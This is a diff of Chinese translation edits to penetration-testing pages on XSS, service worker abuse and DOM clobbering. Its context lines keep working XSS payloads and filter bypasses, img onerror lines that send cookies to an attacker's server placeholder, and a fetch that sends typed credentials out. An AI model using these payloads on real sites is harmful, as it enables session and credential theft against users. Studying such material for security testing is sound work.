+4. 如果你的输入在 "**不可利用的标签**" 内被反射，你可以尝试 **`accesskey`** 技巧来利用这个漏洞（你将需要某种社会工程来利用这一点）：**`" accesskey="x" onclick="alert(1)" x="**
 
 如果你控制一个类名，Angular 执行 XSS 的奇怪例子：
 ```html
@@ -69,8 +69,8 @@ debugging-client-side-js.md
 
 在这种情况下，您的输入反映在 HTML 页面中的 **`<script> [...] </script>`** 标签之间，或者在 `.js` 文件中，或在使用 **`javascript:`** 协议的属性中：
 
-- 如果反映在 **`<script> [...] </script>`** 标签之间，即使您的输入在任何类型的引号内，您可以尝试注入 `</script>` 并逃离此上下文。这是有效的，因为 **浏览器会首先解析 HTML 标签** 然后解析内容，因此，它不会注意到您注入的 `</script>` 标签在 HTML 代码内。
-- 如果反映 **在 JS 字符串内**，并且最后一个技巧不起作用，您需要 **退出** 字符串，**执行** 您的代码并 **重构** JS 代码（如果有任何错误，它将不会被执行）：
+- 如果反映在 **`<script> [...] </script>`** 标签之间，即使您的输入在任何类型的引号内，您可以尝试注入 `</script>` 并逃离这个上下文。这是有效的，因为 **浏览器会首先解析 HTML 标签** 然后解析内容，因此，它不会注意到您注入的 `</script>` 标签在 HTML 代码中。
+- 如果反映 **在 JS 字符串内**，并且最后的技巧不起作用，您需要 **退出** 字符串，**执行** 您的代码并 **重构** JS 代码（如果有任何错误，它将不会被执行）：
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
@@ -83,7 +83,7 @@ alert(1)
 ```
 #### Javascript Hoisting
 
-Javascript Hoisting 指的是**在使用后声明函数、变量或类的机会，因此您可以利用使用未声明的变量或函数的 XSS 场景。**\
+Javascript Hoisting 指的是**在使用后声明函数、变量或类的机会，因此您可以利用未声明的变量或函数的 XSS 场景。**\
 **有关更多信息，请查看以下页面：**
 
 {{#ref}}
@@ -98,7 +98,7 @@ js-hoisting.md
 
 ![](<../../images/image (711).png>)
 
-如果它是脆弱的，您可能能够**触发一个警报**，只需发送值：**`?callback=alert(1)`**。然而，这些端点通常会**验证内容**，只允许字母、数字、点和下划线（**`[\w\._]`**）。
+如果它是脆弱的，您可以通过发送值**`?callback=alert(1)`**来**触发一个警报**。然而，这些端点通常会**验证内容**，只允许字母、数字、点和下划线（**`[\w\._]`**）。
 
 然而，即使有这个限制，仍然可以执行一些操作。这是因为您可以使用这些有效字符**访问 DOM 中的任何元素**：
 
@@ -132,7 +132,7 @@ dom-xss.md
 
 ### **通用 XSS**
 
-这种类型的 XSS 可以在**任何地方**找到。它们不仅仅依赖于对 Web 应用程序的客户端利用，而是依赖于**任何****上下文**。这种**任意 JavaScript 执行**甚至可以被滥用以获得**RCE**，**读取**客户端和服务器中的**任意****文件**，等等。\
+这种类型的 XSS 可以在**任何地方**找到。它们不仅仅依赖于对 Web 应用程序的客户端利用，而是依赖于**任何****上下文**。这种**任意 JavaScript 执行**甚至可以被滥用以获得**RCE**、**读取****任意****文件**在客户端和服务器上，等等。\
 一些**示例**：
 
 {{#ref}}
@@ -149,8 +149,8 @@ server-side-xss-dynamic-pdf.md
 
 ## 在原始 HTML 中注入
 
-当您的输入在**HTML 页面**中被反射时，或者您可以在此上下文中转义并注入 HTML 代码，您需要做的**第一**件事是检查您是否可以滥用 `<` 来创建新标签：只需尝试**反射**该**字符**并检查它是否被**HTML 编码**或**删除**，或者是否**未更改地反射**。**只有在最后一种情况下，您才能利用此情况**。\
-对于这些情况，还**请记住** [**客户端模板注入**](../client-side-template-injection-csti.md)**。**\
+当您的输入在**HTML 页面**中被反射，或者您可以在此上下文中转义并注入 HTML 代码时，您需要做的**第一**件事是检查您是否可以滥用 `<` 来创建新标签：只需尝试**反射**该**字符**并检查它是否被**HTML 编码**或**删除**，或者是否**未更改地反射**。**只有在最后一种情况下，您才能利用此情况**。\
+对于这些情况，还要**记住** [**客户端模板注入**](../client-side-template-injection-csti.md)**。**\
 &#xNAN;_**注意：HTML 注释可以使用\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*或 \*\*\*\*\*\***`--!>`\*\**_
 
 在这种情况下，如果没有使用黑/白名单，您可以使用以下有效负载：
@@ -162,11 +162,11 @@ alert(1)
 <svg onload=alert('XSS')>
 ```
 但是，如果使用了标签/属性的黑白名单，您需要**暴力破解可以创建的标签**。\
-一旦您**找到了允许的标签**，您需要**暴力破解有效标签内的属性/事件**，以查看如何攻击该上下文。
+一旦您**找到了允许的标签**，您需要**暴力破解**在找到的有效标签内的属性/事件，以查看如何攻击该上下文。
 
 ### 标签/事件暴力破解
 
-访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)，然后点击 _**复制标签到剪贴板**_。然后，使用 Burp intruder 发送所有标签，并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签，您可以使用有效标签**暴力破解所有事件**（在同一网页上点击 _**复制事件到剪贴板**_，并按照之前的程序进行）。
+访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)，然后点击 _**复制标签到剪贴板**_。然后，使用 Burp intruder 发送所有标签，并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签，您可以使用有效标签**暴力破解所有事件**（在同一网页上点击 _**复制事件到剪贴板**_，并按照之前的相同程序进行操作）。
 
 ### 自定义标签
 
@@ -250,7 +250,7 @@ onerror=alert`1`
 ### 在标签内/从属性值中转义
 
 如果您在 **HTML 标签内**，您可以尝试的第一件事是 **从标签中转义**，并使用 [上一节](./#injecting-inside-raw-html) 中提到的一些技术来执行 JS 代码。\
-如果您 **无法从标签中转义**，您可以在标签内创建新的属性以尝试执行 JS 代码，例如使用一些有效负载（_请注意，在此示例中使用双引号从属性中转义，如果您的输入直接反映在标签内，则不需要它们_）：
+如果您 **无法从标签中转义**，您可以在标签内创建新属性以尝试执行 JS 代码，例如使用一些有效载荷（_请注意，在此示例中使用双引号从属性中转义，如果您的输入直接反映在标签内，则不需要它们_）：
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@@ -267,12 +267,12 @@ onerror=alert`1`
 ```
 ### 在属性内
 
-即使你**无法逃离属性**（`"`被编码或删除），根据**你的值反映在哪个属性**中**如果你控制所有值或只是部分值**，你仍然能够利用它。**例如**，如果你控制一个事件如`onclick=`，你将能够在点击时执行任意代码。\
+即使你**无法逃离属性**（`"`被编码或删除），根据**你的值反射在哪个属性中**，**如果你控制所有值或只是部分值**，你将能够利用它。例如，如果你控制一个事件如`onclick=`，你将能够使其在点击时执行任意代码。\
 另一个有趣的**例子**是属性`href`，你可以使用`javascript:`协议来执行任意代码：**`href="javascript:alert(1)"`**
 
 **使用HTML编码/URL编码绕过事件**
 
-HTML标签属性值中的**HTML编码字符**在运行时**被解码**。因此，像以下内容将是有效的（有效负载用粗体表示）：`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">返回</a>`
+HTML标签属性值内的**HTML编码字符**在运行时会被**解码**。因此，像以下内容将是有效的（有效负载用粗体表示）：`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">返回</a>`
 
 请注意**任何类型的HTML编码都是有效的**：
 ```javascript
@@ -303,7 +303,7 @@ HTML标签属性值中的**HTML编码字符**在运行时**被解码**。因此
 ```
 ### 特殊协议在属性中
 
-在某些地方，您可以使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些需要用户交互，有些则不需要。
+在某些地方，您可以使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些将需要用户交互，有些则不需要。
 ```javascript
 javascript:alert(1)
 JavaSCript:alert(1)
@@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 ```
 **可以注入这些协议的地方**
 
-**一般来说** `javascript:` 协议可以 **用于任何接受 `href` 属性的标签**，以及 **大多数** 接受 **`src` 属性的标签**（但不包括 `<img>`）
+**一般来说** `javascript:` 协议可以 **在任何接受 `href` 属性的标签中使用**，并且在 **大多数** 接受 **`src` 属性的标签中使用**（但不包括 `<img>`）
 ```markup
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@@ -347,21 +347,21 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 ```
 **其他混淆技巧**
 
-_**在这种情况下，上一节中的HTML编码和Unicode编码技巧在属性内也是有效的。**_
+_**在这种情况下，上一节中的HTML编码和Unicode编码技巧也是有效的，因为您在一个属性内。**_
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-此外，还有另一个**不错的技巧**：**即使你在 `javascript:...` 中的输入被 URL 编码，它在执行之前会被 URL 解码。** 所以，如果你需要使用**单引号**从**字符串**中**逃逸**，并且你看到它**被 URL 编码**，请记住**这没关系，**在**执行**时它会被**解释**为**单引号**。
+此外，还有另一个**不错的技巧**：**即使你在 `javascript:...` 中的输入被 URL 编码，它在执行之前会被 URL 解码。** 所以，如果你需要使用**单引号**从**字符串**中**逃逸**，并且你看到它**被 URL 编码**，请记住**这没关系，**它在**执行**时会被**解释**为**单引号**。
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
 <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
 ```
-请注意，如果您尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**，它 **将不会** **工作**，但您可以在 **payload** 中 **混合使用它们**。
+注意，如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**，它 **将不会** **工作**，但你可以在 **payload** 内部 **混合它们**。
 
 **使用 Hex 和 Octal 编码与 `javascript:`**
 
-您可以在 `iframe` 的 `src` 属性中（至少）使用 **Hex** 和 **Octal 编码** 来声明 **HTML 标签以执行 JS**：
+你可以在 `iframe` 的 `src` 属性中（至少）使用 **Hex** 和 **Octal 编码** 来声明 **HTML 标签以执行 JS**：
 ```javascript
 //Encoded: <svg onload=alert(1)>
 // This WORKS
@@ -403,7 +403,7 @@ Android: %09 %20 %28 %2C %3B
 ```
 ### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
 
-从 [**这里**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以利用隐藏输入：**
+从[**这里**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以利用隐藏输入：**
 ```html
 <button popvertarget="x">Click me</button>
 <input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@@ -430,7 +430,7 @@ onbeforetoggle="alert(2)" />
 
 ### 黑名单绕过
 
-本节中已经揭示了使用不同编码的几种技巧。请**返回学习可以使用的地方：**
+本节中已经揭示了几种使用不同编码的技巧。请**返回学习可以使用的地方：**
 
 - **HTML编码（HTML标签）**
 - **Unicode编码（可以是有效的JS代码）：** `\u0061lert(1)`
@@ -452,7 +452,7 @@ onbeforetoggle="alert(2)" />
 
 例如，你可以在元素中添加一些样式，如：`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
 
-但是，如果WAF正在过滤样式属性，你可以使用CSS小工具，所以如果你发现，例如
+但是，如果WAF正在过滤样式属性，你可以使用CSS样式小工具，所以如果你发现，例如
 
 > .test {display:block; color: blue; width: 100%\}
 
@@ -480,7 +480,7 @@ onbeforetoggle="alert(2)" />
 
 ### 在 JS 代码内部
 
-如果 `<>` 被清理，你仍然可以**转义字符串**，在你的输入**所在**的位置**执行任意 JS**。修复 JS 语法是很重要的，因为如果有任何错误，JS 代码将不会被执行：
+如果 `<>` 被清理，你仍然可以**转义字符串**，在你的输入**所在的位置**并**执行任意 JS**。修复 JS 语法是很重要的，因为如果有任何错误，JS 代码将不会被执行：
 ```
 '-alert(document.domain)-'
 ';alert(document.domain)//
@@ -554,7 +554,7 @@ eval(8680439..toString(30))(983801..toString(36))
 <TAB>
 /**/
 ```
-**JavaScript 注释（来自** [**JavaScript 注释**](./#javascript-comments) **技巧）**
+**JavaScript 注释 (来自** [**JavaScript 注释**](./#javascript-comments) **技巧)**
 ```javascript
 //This is a 1 line comment
 /* This is a multiline comment*/
@@ -739,16 +739,16 @@ top[8680439..toString(30)](1)
 ## **DOM 漏洞**
 
 有 **JS 代码** 使用 **由攻击者控制的不安全数据**，如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
-**由于对** [**DOM 漏洞的解释扩展，已移至此页面**](dom-xss.md)**:**
+**由于对** [**DOM 漏洞的解释扩展到此页面**](dom-xss.md)**:**
 
 {{#ref}}
 dom-xss.md
 {{#endref}}
 
-在那里你会找到关于 **DOM 漏洞是什么、如何引发以及如何利用它们的详细解释**。\
+在这里你会找到关于 **DOM 漏洞是什么、如何引发以及如何利用它们的详细解释**。\
 此外，别忘了在 **提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。
 
-### 升级自我 XSS
+### 升级 Self-XSS
 
 ### Cookie XSS
 
@@ -758,11 +758,11 @@ dom-xss.md
 ../hacking-with-cookies/cookie-tossing.md
 {{#endref}}
 
-你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到对这一技术的极佳利用。
+你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到这个技术的一个很好的滥用案例。
 
 ### 将你的会话发送给管理员
 
-也许用户可以与管理员共享他的个人资料，如果自我 XSS 在用户的个人资料中，而管理员访问了它，他将触发该漏洞。
+也许一个用户可以与管理员共享他的个人资料，如果自我 XSS 在用户的个人资料中，而管理员访问了它，他将触发这个漏洞。
 
 ### 会话镜像
 
@@ -782,7 +782,7 @@ dom-xss.md
 ```
 ### Ruby-On-Rails 绕过
 
-由于 **RoR 大量赋值**，引号被插入到 HTML 中，然后绕过引号限制，可以在标签内添加额外字段（onfocus）。\
+由于 **RoR 大量赋值**，引号被插入到 HTML 中，然后绕过引号限制，并且可以在标签内添加额外字段 (onfocus)。\
 表单示例 ([来自此报告](https://hackerone.com/reports/709336))，如果您发送有效负载：
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@@ -840,7 +840,7 @@ document['default'+'View'][`\u0061lert`](3)
 
 > 拒绝从‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')执行脚本，因为其MIME类型（‘application/octet-stream’）不可执行，并且启用了严格的MIME类型检查。
 
-唯一支持Chrome运行**加载脚本**的**Content-Type**是[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)中的常量**`kSupportedJavascriptTypes`**。
+唯一支持Chrome运行**加载脚本**的**Content-Type**是来自[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)的常量**`kSupportedJavascriptTypes`**中的类型。
 ```c
 const char* const kSupportedJavascriptTypes[] = {
 "application/ecmascript",
@@ -864,7 +864,7 @@ const char* const kSupportedJavascriptTypes[] = {
 ```
 ### Script Types to XSS
 
-(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么，哪些类型可以指示加载脚本？
+(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么，哪些类型可以指示加载脚本呢？
 ```html
 <script type="???"></script>
 ```
@@ -923,7 +923,7 @@ import { partition } from "lodash"
 - application/xml
 - text/xml
 - image/svg+xml
-- text/plain (?? 不在列表中，但我想我在 CTF 中见过这个)
+- text/plain (?? 不在列表中，但我认为我在 CTF 中见过这个)
 - application/rss+xml (关闭)
 - application/atom+xml (关闭)
 
@@ -931,7 +931,7 @@ import { partition } from "lodash"
 
 ### xml Content Type
 
-如果页面返回的是 text/xml 内容类型，可以指示一个命名空间并执行任意 JS：
+如果页面返回 text/xml 内容类型，可以指示一个命名空间并执行任意 JS：
 ```xml
 <xml>
 <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@@ -984,7 +984,7 @@ constructor(source)()
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
-如果在执行不可信代码之前**一切都是未定义的**（如在[**这篇文章**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)中所述），则可以“凭空”生成有用的对象，以滥用任意不可信代码的执行：
+如果在执行不受信任的代码之前**一切都是未定义的**（如在[**这篇文章**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)中所述），则可以“凭空”生成有用的对象，以滥用任意不受信任代码的执行：
 
 - 使用 import()
 ```javascript
@@ -993,7 +993,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 ```
 - 间接访问 `require`
 
-[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050)，模块被 Node.js 包裹在一个函数中，如下所示：
+[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050)，模块在 Node.js 中被包装在一个函数内，如下所示：
 ```javascript
 ;(function (exports, require, module, __filename, __dirname) {
 // our actual module code
@@ -1244,7 +1244,7 @@ steal-info-js.md
 ../iframe-traps.md
 {{#endref}}
 
-### 检索 Cookies
+### 获取 Cookies
 ```javascript
 <img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
 <img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@@ -1377,7 +1377,7 @@ mode: 'no-cors',
 body:username.value+':'+this.value
 });">
 ```
-当任何数据被输入到密码字段时，用户名和密码会被发送到攻击者的服务器，即使客户端选择了一个已保存的密码而没有输入任何内容，凭据也会被外泄。
+当任何数据被输入到密码字段时，用户名和密码会被发送到攻击者的服务器，即使客户端选择了一个保存的密码而没有输入任何内容，凭据也会被外泄。
 
 ### Keylogger
 
@@ -1471,7 +1471,7 @@ shadow-dom.md
 ```
 ### Regex - 访问隐藏内容
 
-从 [**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) 可以了解到，即使某些值从 JS 中消失，仍然可以在不同对象的 JS 属性中找到它们。例如，REGEX 的输入在正则表达式的输入值被移除后仍然可以找到：
+从 [**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) 可以了解到，即使某些值从 JS 中消失，仍然可以在不同对象的 JS 属性中找到它们。例如，REGEX 的输入仍然可以在正则表达式输入的值被移除后找到：
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@@ -1504,11 +1504,11 @@ xss-in-markdown.md
 
 ### XSS 到 SSRF
 
-在一个 **使用缓存的站点** 上获得了 XSS？尝试通过边缘侧包含注入将其 **升级到 SSRF**，使用这个有效载荷：
+在一个 **使用缓存的网站** 上获得了 XSS？尝试通过边缘侧包含注入将其 **升级到 SSRF**，使用这个有效载荷：
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
-使用它来绕过 cookie 限制、XSS 过滤器等更多内容！\
+使用它来绕过 cookie 限制、XSS 过滤器等更多！\
 有关此技术的更多信息，请查看：[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
 
 ### 动态创建 PDF 中的 XSS
diff --git a/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md b/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md
index ab1026137..78fa54782 100644
--- a/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md
+++ b/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md
@@ -12,7 +12,7 @@
 
 ### 推送通知
 
-**推送通知权限**直接影响**服务工作者**与服务器之间在没有直接用户交互的情况下进行通信的能力。如果权限被拒绝，则限制了服务工作者构成持续威胁的潜力。相反，授予权限会增加安全风险，因为这使得接收和执行潜在漏洞成为可能。
+**推送通知权限**直接影响**服务工作者**与服务器之间在没有直接用户交互的情况下进行通信的能力。如果权限被拒绝，则限制了服务工作者持续威胁的潜力。相反，授予权限会增加安全风险，因为这使得接收和执行潜在漏洞成为可能。
 
 ## 攻击创建服务工作者
 
@@ -53,11 +53,11 @@ var sw =
 ```
 有一个专门用于**服务工作者**利用的**C2**，叫做[**Shadow Workers**](https://shadow-workers.github.io)，这将对利用这些漏洞非常有用。
 
-**24小时缓存指令**将恶意或被攻陷的**服务工作者 (SW)** 的生命周期限制为在XSS漏洞修复后最多24小时，假设在线客户端状态。为了减少漏洞，网站运营商可以降低SW脚本的生存时间（TTL）。开发者还被建议创建一个[**服务工作者杀开关**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)以便快速停用。
+**24小时缓存指令**将恶意或被攻陷的**服务工作者 (SW)** 的生命周期限制为在XSS漏洞修复后最多24小时，假设在线客户端状态。为了最小化漏洞，网站运营者可以降低SW脚本的生存时间（TTL）。开发者还被建议创建一个[**服务工作者杀开关**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)以便快速停用。
 
 ## 通过DOM Clobbering在SW中滥用`importScripts`
 
-从服务工作者调用的函数**`importScripts`**可以**从不同域导入脚本**。如果使用**攻击者可以修改的参数**调用此函数，他将能够**从他的域导入JS脚本**并获得XSS。
+从服务工作者调用的函数**`importScripts`**可以**从不同域导入脚本**。如果使用**攻击者可以**修改的**参数**调用此函数，他将能够**从他的域导入JS脚本**并获得XSS。
 
 **这甚至可以绕过CSP保护。**
 
diff --git a/src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md b/src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md
index ab9ab096c..bea3088f7 100644
--- a/src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md
+++ b/src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md
@@ -4,7 +4,7 @@
 
 更多详细信息 [**在这篇文章中**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote)。
 
-这里讨论的技术涉及理解两种主要缓存类型的行为和交互：**后退/前进缓存 (bfcache)** 和 **磁盘缓存**。bfcache 存储页面的完整快照，包括 JavaScript 堆，由于其能够存储更全面的快照，因此在后退/前进导航中优先于磁盘缓存。相比之下，磁盘缓存存储从网络获取的资源，但不包括 JavaScript 堆，并用于后退/前进导航以减少通信成本。磁盘缓存的一个有趣方面是它包括使用 `fetch` 获取的资源，这意味着访问的 URL 资源将由浏览器从缓存中呈现。
+这里讨论的技术涉及理解两种主要缓存类型的行为和交互：**后退/前进缓存 (bfcache)** 和 **磁盘缓存**。bfcache 存储页面的完整快照，包括 JavaScript 堆，由于其能够存储更全面的快照，因此在后退/前进导航中优先于磁盘缓存。相比之下，磁盘缓存存储从网络获取的资源，但不包括 JavaScript 堆，并用于后退/前进导航以减少通信成本。磁盘缓存的一个有趣方面是它包含使用 `fetch` 获取的资源，这意味着访问的 URL 资源将由浏览器从缓存中呈现。
 
 ### 关键点：
 
@@ -13,7 +13,7 @@
 
 ### 禁用 bfcache：
 
-默认情况下，Puppeteer 禁用 bfcache，符合 Chromium 文档中列出的条件。禁用 bfcache 的一种有效方法是通过使用 `RelatedActiveContentsExist`，通过使用 `window.open()` 打开一个保留对 `window.opener` 引用的页面来实现。
+默认情况下，Puppeteer 禁用 bfcache，符合 Chromium 文档中列出的条件。禁用 bfcache 的一种有效方法是通过使用 `RelatedActiveContentsExist`，通过使用 `window.open()` 打开一个页面并保留对 `window.opener` 的引用来实现。
 
 ### 复制行为：
 
diff --git a/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md b/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md
index 7a81bba01..c7f3b270b 100644
--- a/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md
+++ b/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md
@@ -12,7 +12,7 @@
 
 ### 覆盖
 
-浏览器覆盖允许你拥有即将执行的代码的本地副本，并执行该副本，而不是来自远程服务器的代码。\
+浏览器覆盖允许拥有即将执行的代码的本地副本，并执行该副本而不是来自远程服务器的代码。\
 你可以在 "Dev Tools" --> "Sources" --> "Overrides" 中 **访问覆盖**。
 
 你需要 **创建一个本地空文件夹来存储覆盖**，所以只需创建一个新的本地文件夹并在该页面中将其设置为覆盖。
diff --git a/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md b/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
index 920f2ae6b..93066e642 100644
--- a/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
+++ b/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
@@ -13,7 +13,7 @@ console.log(typeof document.x) //[object HTMLFormElement]
 ```
 **只有**某些元素可以使用**name属性**来覆盖全局变量，它们是：`embed`、`form`、`iframe`、`image`、`img`和`object`。
 
-有趣的是，当你使用**form元素**来**覆盖**一个变量时，你将得到元素本身的**`toString`**值：`[object HTMLFormElement]`，但使用**anchor**时，**`toString`**将是锚点的**`href`**。因此，如果你使用**`a`**标签进行覆盖，你可以**控制**当它被**视为字符串**时的**值**：
+有趣的是，当你使用**form元素**来**覆盖**一个变量时，你将得到该元素本身的**`toString`**值：`[object HTMLFormElement]`，但使用**anchor**时，**`toString`**将是锚点的**`href`**。因此，如果你使用**`a`**标签进行覆盖，你可以**控制**当它被**视为字符串**时的**值**：
 ```html
 <a href="controlled string" id="x"></a>
 <script>
@@ -68,7 +68,7 @@ alert(a.b.c.d.e) //controlled
 ```
 ### **过滤器绕过**
 
-如果一个过滤器正在使用类似 `document.getElementByID('x').attributes` 的方式 **循环** 通过一个节点的 **属性**，你可以 **覆盖** 属性 **`.attributes`** 并 **破坏过滤器**。其他 DOM 属性如 **`tagName`**、**`nodeName`** 或 **`parentNode`** 等也可以被 **覆盖**。
+如果一个过滤器正在使用类似 `document.getElementByID('x').attributes` 的方式**循环**遍历一个节点的**属性**，你可以**覆盖**属性**`.attributes`**并**破坏过滤器**。其他 DOM 属性如 **`tagName`**、**`nodeName`** 或 **`parentNode`** 等也可以被**覆盖**。
 ```html
 <form id="x"></form>
 <form id="y">
@@ -81,7 +81,7 @@ console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
 ```
 ## **覆盖 `window.someObject`**
 
-在 JavaScript 中，常常会发现：
+在JavaScript中，常常会发现：
 ```javascript
 var someObject = window.someObject || {}
 ```
@@ -104,7 +104,7 @@ document.body.appendChild(script)
 
 **技巧**：**`DOMPurify`** 允许您使用 **`cid:`** 协议，该协议 **不对双引号进行 URL 编码**。这意味着您可以 **注入一个在运行时会被解码的编码双引号**。因此，注入类似 **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** 的内容将使 HTML 编码的 `&quot;` 在 **运行时被解码** 并 **逃逸** 出属性值以 **创建** **`onerror`** 事件。
 
-另一种技术使用 **`form`** 元素。某些客户端库检查新创建的表单元素的属性以进行清理。然而，通过在表单内添加一个 `input`，其 `id=attributes`，您有效地覆盖了属性属性，防止清理器访问实际属性。
+另一种技术使用 **`form`** 元素。某些客户端库检查新创建的表单元素的属性以进行清理。然而，通过在表单内添加一个 `input`，其 `id=attributes`，您有效地覆盖了属性属性，阻止了清理器访问实际属性。
 
 您可以 [**在此 CTF 写作中找到此类覆盖的示例**](iframes-in-xss-and-csp.md#iframes-in-sop-2)。
 
@@ -112,13 +112,13 @@ document.body.appendChild(script)
 
 根据文档，可以使用 DOM Clobbering 覆盖文档对象的属性：
 
-> [Document](https://html.spec.whatwg.org/multipage/dom.html#document) 接口 [支持命名属性](https://webidl.spec.whatwg.org/#dfn-support-named-properties)。任何时刻 [Document](https://html.spec.whatwg.org/multipage/dom.html#document) 对象的 [支持的属性名称](https://webidl.spec.whatwg.org/#dfn-supported-property-names) 由以下内容组成，按照 [树顺序](https://dom.spec.whatwg.org/#concept-tree-order) 根据贡献它们的元素，忽略后来的重复，并且来自 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 属性的值在同一元素同时贡献两者时排在名称属性的值之前：
+> [Document](https://html.spec.whatwg.org/multipage/dom.html#document) 接口 [支持命名属性](https://webidl.spec.whatwg.org/#dfn-support-named-properties)。任何时刻 [Document](https://html.spec.whatwg.org/multipage/dom.html#document) 对象的 [支持的属性名称](https://webidl.spec.whatwg.org/#dfn-supported-property-names) 由以下内容组成，按照 [树顺序](https://dom.spec.whatwg.org/#concept-tree-order) 根据贡献它们的元素，忽略后来的重复，并且当同一元素同时贡献两者时，来自 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 属性的值在来自名称属性的值之前：
 >
